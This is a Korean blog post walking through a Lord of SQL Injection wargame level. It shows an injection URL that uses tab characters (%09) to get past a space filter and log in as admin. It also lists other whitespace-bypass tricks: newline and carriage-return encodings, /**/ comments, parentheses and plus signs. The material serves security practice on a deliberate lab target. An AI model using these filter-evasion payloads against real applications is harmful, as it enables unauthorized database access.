어찌 보면 쉬어가는 시간이 될 거 같다. 저번 시간 Blind SQL Injection을 배웠으니, 이번 시간에는 공백을 우회하는 DB 테크닉을 조금 배워보자
코드
눈에 띄는 금지어로 space(공백)이 있다. DB나 코드나 공백은 문법적으로 상당히 중요한 의미를 가진다.
기존대로 문제를 풀었다면 아마 다음과 같은 답이 바로 떠오를 것이다.
Answer url? : los.rubiya.kr/chall/XXXX.php?pw=1%27%20id=admin--%20;
아쉽지만 이번에 공백(space, %20) 불가하기에 다음의 필터링 화면을 만나볼 수 있다.
우리는 공백을 대체할 무엇인가가 필요하다
해결방법
Answer Url : los.rubiya.kr/chall/XXXX.php?pw=1%27%09or%09id=%27admin%27--%09;
당연한 이야기이지만, Databse에서 공백으로 여겨지는 다음과 같은 문자들이 있다. 이를 활용하여 공백을 우회한다.
1. %09 : TAB
2. %0A : new Line(\n)
3. %0D : Carrage Return(\r)
4. 강제주석 : /**/ (ex : id='admin' and pw='1' >> id='admin'/**/and/**/pw='1')
5. 괄호 : (), (ex : id='admin' and pw='1' >> id=('admin') and(pw='1'))
6. 더하기 : +, (ex : id='admin' and pw='1' >> id='admin'+and+pw='1')
* 이외에도 %0B, % 0C 또한 공백 우회 기법으로 사용된다.
이제 우리는 SQL Injection시 공백을 우회하는 기법을 알아내었다. 다음 만날 몬스터도 우회 기법 테크닉의 한 종류로 물리칠 수 있다. 다음 관문에서 기다리겠다.
'WarGame > Lord of SQL Injection' 카테고리의 다른 글
[LOSI] Lord of SQL Injection Level 7 - Orge (0) | 2021.04.13 |
---|---|
[LOSI] Lord of SQL Injection Level 6 - DarkElf (0) | 2021.04.13 |
[LOSI] Lord of SQL Injection Level 4 - Orc (0) | 2021.04.13 |
[LOSI] Lord of SQL Injection Level 3 - Goblin (0) | 2021.04.12 |
[LOSI] Lord of SQL Injection Level 2 - Cobolt (0) | 2021.04.12 |